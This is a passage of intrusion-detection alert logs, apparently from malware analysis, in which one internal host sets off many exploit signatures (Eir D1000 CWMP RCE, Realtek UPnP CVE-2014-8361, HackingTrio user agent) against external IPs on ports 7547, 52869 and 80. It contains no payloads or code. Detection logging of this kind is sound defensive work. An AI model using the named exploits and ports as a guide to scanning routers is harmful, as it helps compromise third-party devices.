Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.54.98.210

Timestamp:	04/15/24-08:52:40.446991
SID:	2023548
Source Port:	49770
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 176.197.62.75

Timestamp:	04/15/24-08:52:37.107066
SID:	2023548
Source Port:	47734
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.65.125.29

Timestamp:	04/15/24-08:53:13.567996
SID:	2023548
Source Port:	43120
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.210.111.76

Timestamp:	04/15/24-08:52:45.127515
SID:	2023548
Source Port:	55902
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 203.99.106.59

Timestamp:	04/15/24-08:53:24.201228
SID:	2027339
Source Port:	55110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.225.254.112

Timestamp:	04/15/24-08:52:40.468296
SID:	2023548
Source Port:	43196
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.41.251

Timestamp:	04/15/24-08:53:29.523472
SID:	2023548
Source Port:	58126
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 65.18.163.146

Timestamp:	04/15/24-08:53:06.519453
SID:	2025576
Source Port:	53404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 93.176.172.234

Timestamp:	04/15/24-08:53:54.497107
SID:	2023548
Source Port:	59610
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 139.39.192.129

Timestamp:	04/15/24-08:52:43.872116
SID:	2831300
Source Port:	40804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 189.124.222.175

Timestamp:	04/15/24-08:52:55.395183
SID:	2023548
Source Port:	42448
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 196.235.219.135

Timestamp:	04/15/24-08:52:49.817860
SID:	2023548
Source Port:	54200
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.78.176.81

Timestamp:	04/15/24-08:52:56.775566
SID:	2023548
Source Port:	54674
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.74.68.86

Timestamp:	04/15/24-08:53:32.775086
SID:	2023548
Source Port:	38670
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 27.238.37.160

Timestamp:	04/15/24-08:52:46.847092
SID:	2023548
Source Port:	38750
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.241.164

Timestamp:	04/15/24-08:53:37.295632
SID:	2023548
Source Port:	33740
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.43.226.5

Timestamp:	04/15/24-08:52:36.077554
SID:	2023548
Source Port:	36240
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 179.37.157.170

Timestamp:	04/15/24-08:53:58.354005
SID:	2025576
Source Port:	32902
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.16.69.175

Timestamp:	04/15/24-08:53:56.064151
SID:	2023548
Source Port:	49134
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.234.243.236

Timestamp:	04/15/24-08:53:41.111879
SID:	2025576
Source Port:	46382
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 152.171.175.18

Timestamp:	04/15/24-08:53:28.152893
SID:	2023548
Source Port:	40142
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 34.110.241.133

Timestamp:	04/15/24-08:52:31.273325
SID:	2831300
Source Port:	46878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.12.224.143

Timestamp:	04/15/24-08:53:43.068322
SID:	2023548
Source Port:	57332
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 85.117.34.138

Timestamp:	04/15/24-08:53:30.263789
SID:	2025576
Source Port:	40884
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.164.67.9

Timestamp:	04/15/24-08:53:13.006005
SID:	2023548
Source Port:	58352
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.53.2.212

Timestamp:	04/15/24-08:52:13.843557
SID:	2023548
Source Port:	32956
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.3.112.32

Timestamp:	04/15/24-08:53:38.872616
SID:	2023548
Source Port:	47668
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 137.184.241.206

Timestamp:	04/15/24-08:53:21.503054
SID:	2025576
Source Port:	44358
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.32.145.174

Timestamp:	04/15/24-08:53:28.007231
SID:	2023548
Source Port:	49104
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 77.59.157.72

Timestamp:	04/15/24-08:53:39.560729
SID:	2023548
Source Port:	49960
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 69.53.13.168

Timestamp:	04/15/24-08:52:55.860816
SID:	2023548
Source Port:	56958
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.129.14.26

Timestamp:	04/15/24-08:53:25.182442
SID:	2023548
Source Port:	44254
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 108.190.104.113

Timestamp:	04/15/24-08:52:34.533625
SID:	2023548
Source Port:	33068
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.52.71.152

Timestamp:	04/15/24-08:53:21.862509
SID:	2023548
Source Port:	44912
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.83.69

Timestamp:	04/15/24-08:53:42.721372
SID:	2023548
Source Port:	49026
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.179.210.39

Timestamp:	04/15/24-08:52:14.186028
SID:	2023548
Source Port:	57164
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.192.73.197

Timestamp:	04/15/24-08:53:41.629376
SID:	2025576
Source Port:	60938
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.251.233.232

Timestamp:	04/15/24-08:53:53.091120
SID:	2023548
Source Port:	47764
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.241.110.45

Timestamp:	04/15/24-08:53:18.697031
SID:	2023548
Source Port:	56342
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 199.254.110.54

Timestamp:	04/15/24-08:53:59.196292
SID:	2023548
Source Port:	53110
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 176.60.167.160

Timestamp:	04/15/24-08:53:06.838737
SID:	2025576
Source Port:	38352
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.164.45.12

Timestamp:	04/15/24-08:53:50.382449
SID:	2025576
Source Port:	55678
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.200.108.84

Timestamp:	04/15/24-08:53:59.008674
SID:	2023548
Source Port:	34392
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 27.238.37.160

Timestamp:	04/15/24-08:52:47.140345
SID:	2023548
Source Port:	38754
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.250.42.94

Timestamp:	04/15/24-08:53:08.697245
SID:	2023548
Source Port:	60980
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.1.126.103

Timestamp:	04/15/24-08:53:08.852893
SID:	2023548
Source Port:	59606
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 1.140.19.46

Timestamp:	04/15/24-08:53:24.893352
SID:	2023548
Source Port:	59894
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 84.74.124.103

Timestamp:	04/15/24-08:53:42.839891
SID:	2023548
Source Port:	44128
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 108.157.174.76

Timestamp:	04/15/24-08:53:50.825417
SID:	2025576
Source Port:	37208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 83.132.232.71

Timestamp:	04/15/24-08:53:53.197600
SID:	2023548
Source Port:	48626
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.29.33.22

Timestamp:	04/15/24-08:52:32.299877
SID:	2023548
Source Port:	47122
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.218.225.190

Timestamp:	04/15/24-08:53:19.249446
SID:	2023548
Source Port:	60082
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.244.195.156

Timestamp:	04/15/24-08:53:55.772262
SID:	2023548
Source Port:	46010
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.183.250.44

Timestamp:	04/15/24-08:53:10.438015
SID:	2023548
Source Port:	55082
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.250.228.64

Timestamp:	04/15/24-08:52:40.862025
SID:	2831300
Source Port:	38160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 112.140.160.34

Timestamp:	04/15/24-08:53:15.194696
SID:	2025576
Source Port:	38252
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 13.224.221.14

Timestamp:	04/15/24-08:53:15.176579
SID:	2025576
Source Port:	50472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.47.142.247

Timestamp:	04/15/24-08:53:41.256190
SID:	2025576
Source Port:	35234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.251.136.101

Timestamp:	04/15/24-08:53:48.604318
SID:	2023548
Source Port:	47928
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.87.222.8

Timestamp:	04/15/24-08:52:43.300852
SID:	2023548
Source Port:	37586
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.93.13.146

Timestamp:	04/15/24-08:52:19.920759
SID:	2023548
Source Port:	45302
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 74.136.192.98

Timestamp:	04/15/24-08:52:43.151823
SID:	2023548
Source Port:	58048
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.65.91.68

Timestamp:	04/15/24-08:53:41.202468
SID:	2027339
Source Port:	56404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.197.26.163

Timestamp:	04/15/24-08:53:41.204671
SID:	2025576
Source Port:	38240
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.82.7.71

Timestamp:	04/15/24-08:52:44.297045
SID:	2023548
Source Port:	36640
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 152.171.175.18

Timestamp:	04/15/24-08:53:27.854345
SID:	2023548
Source Port:	40126
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.236.83.244

Timestamp:	04/15/24-08:53:42.722390
SID:	2023548
Source Port:	33648
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.205.220.251

Timestamp:	04/15/24-08:53:49.114828
SID:	2023548
Source Port:	45528
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.102.2.117

Timestamp:	04/15/24-08:53:13.865921
SID:	2023548
Source Port:	48982
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.34.64.177

Timestamp:	04/15/24-08:53:12.870904
SID:	2023548
Source Port:	59128
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 65.31.156.182

Timestamp:	04/15/24-08:53:01.699051
SID:	2023548
Source Port:	53768
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.40.105.187

Timestamp:	04/15/24-08:53:01.463300
SID:	2023548
Source Port:	57770
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 172.65.91.68

Timestamp:	04/15/24-08:53:41.049504
SID:	2025132
Source Port:	56352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 121.42.10.7

Timestamp:	04/15/24-08:53:03.083769
SID:	2025576
Source Port:	44992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.11.212.57

Timestamp:	04/15/24-08:53:16.727595
SID:	2025576
Source Port:	49934
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 194.195.254.132

Timestamp:	04/15/24-08:52:29.939922
SID:	2027339
Source Port:	53148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 112.84.130.47

Timestamp:	04/15/24-08:53:16.671265
SID:	2025576
Source Port:	56422
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.75.96.121

Timestamp:	04/15/24-08:53:13.171149
SID:	2023548
Source Port:	37946
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 94.123.187.221

Timestamp:	04/15/24-08:52:59.950910
SID:	2025132
Source Port:	36942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 160.141.82.82

Timestamp:	04/15/24-08:52:59.611328
SID:	2025132
Source Port:	56248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.148.8.93

Timestamp:	04/15/24-08:52:21.080196
SID:	2023548
Source Port:	37386
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.230.240.40

Timestamp:	04/15/24-08:53:08.838936
SID:	2023548
Source Port:	38746
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.192.169.220

Timestamp:	04/15/24-08:53:29.368449
SID:	2025576
Source Port:	50640
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 102.140.86.120

Timestamp:	04/15/24-08:52:23.132745
SID:	2025576
Source Port:	46826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.27.132.13

Timestamp:	04/15/24-08:53:29.788664
SID:	2023548
Source Port:	59074
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.250.57.104

Timestamp:	04/15/24-08:52:35.117740
SID:	2023548
Source Port:	40782
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.116.193.44

Timestamp:	04/15/24-08:53:52.778805
SID:	2023548
Source Port:	35132
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.149.168.189

Timestamp:	04/15/24-08:52:13.606308
SID:	2023548
Source Port:	34416
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 27.124.12.44

Timestamp:	04/15/24-08:52:53.094866
SID:	2025576
Source Port:	34494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.252.121.151

Timestamp:	04/15/24-08:53:29.198696
SID:	2025576
Source Port:	48672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 151.251.68.81

Timestamp:	04/15/24-08:52:28.801852
SID:	2023548
Source Port:	60548
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 104.20.127.149

Timestamp:	04/15/24-08:52:15.435014
SID:	2025576
Source Port:	38576
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.3.241.235

Timestamp:	04/15/24-08:53:01.252954
SID:	2023548
Source Port:	38908
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.48.75.22

Timestamp:	04/15/24-08:53:54.186128
SID:	2023548
Source Port:	55454
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 178.128.236.108

Timestamp:	04/15/24-08:53:29.104075
SID:	2025576
Source Port:	52286
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 197.93.13.146

Timestamp:	04/15/24-08:52:20.395413
SID:	2023548
Source Port:	45338
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 203.137.165.156

Timestamp:	04/15/24-08:53:37.920166
SID:	2025576
Source Port:	35680
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 139.39.192.129

Timestamp:	04/15/24-08:52:42.662259
SID:	2025132
Source Port:	40698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 118.190.149.143

Timestamp:	04/15/24-08:53:41.923432
SID:	2025576
Source Port:	47678
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.199.207.140

Timestamp:	04/15/24-08:52:23.274447
SID:	2027339
Source Port:	40658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.228.147.138

Timestamp:	04/15/24-08:53:30.098499
SID:	2023548
Source Port:	42402
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.26.220.214

Timestamp:	04/15/24-08:53:11.502740
SID:	2023548
Source Port:	52062
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 34.149.128.155

Timestamp:	04/15/24-08:52:46.362481
SID:	2831300
Source Port:	53828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 178.135.97.217

Timestamp:	04/15/24-08:53:32.848565
SID:	2027339
Source Port:	44678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.19.45.199

Timestamp:	04/15/24-08:52:37.390112
SID:	2023548
Source Port:	59258
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 31.181.248.84

Timestamp:	04/15/24-08:53:55.439397
SID:	2023548
Source Port:	43892
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.225.195.139

Timestamp:	04/15/24-08:53:44.236501
SID:	2023548
Source Port:	37034
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.126.223.85

Timestamp:	04/15/24-08:53:15.058099
SID:	2023548
Source Port:	55994
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

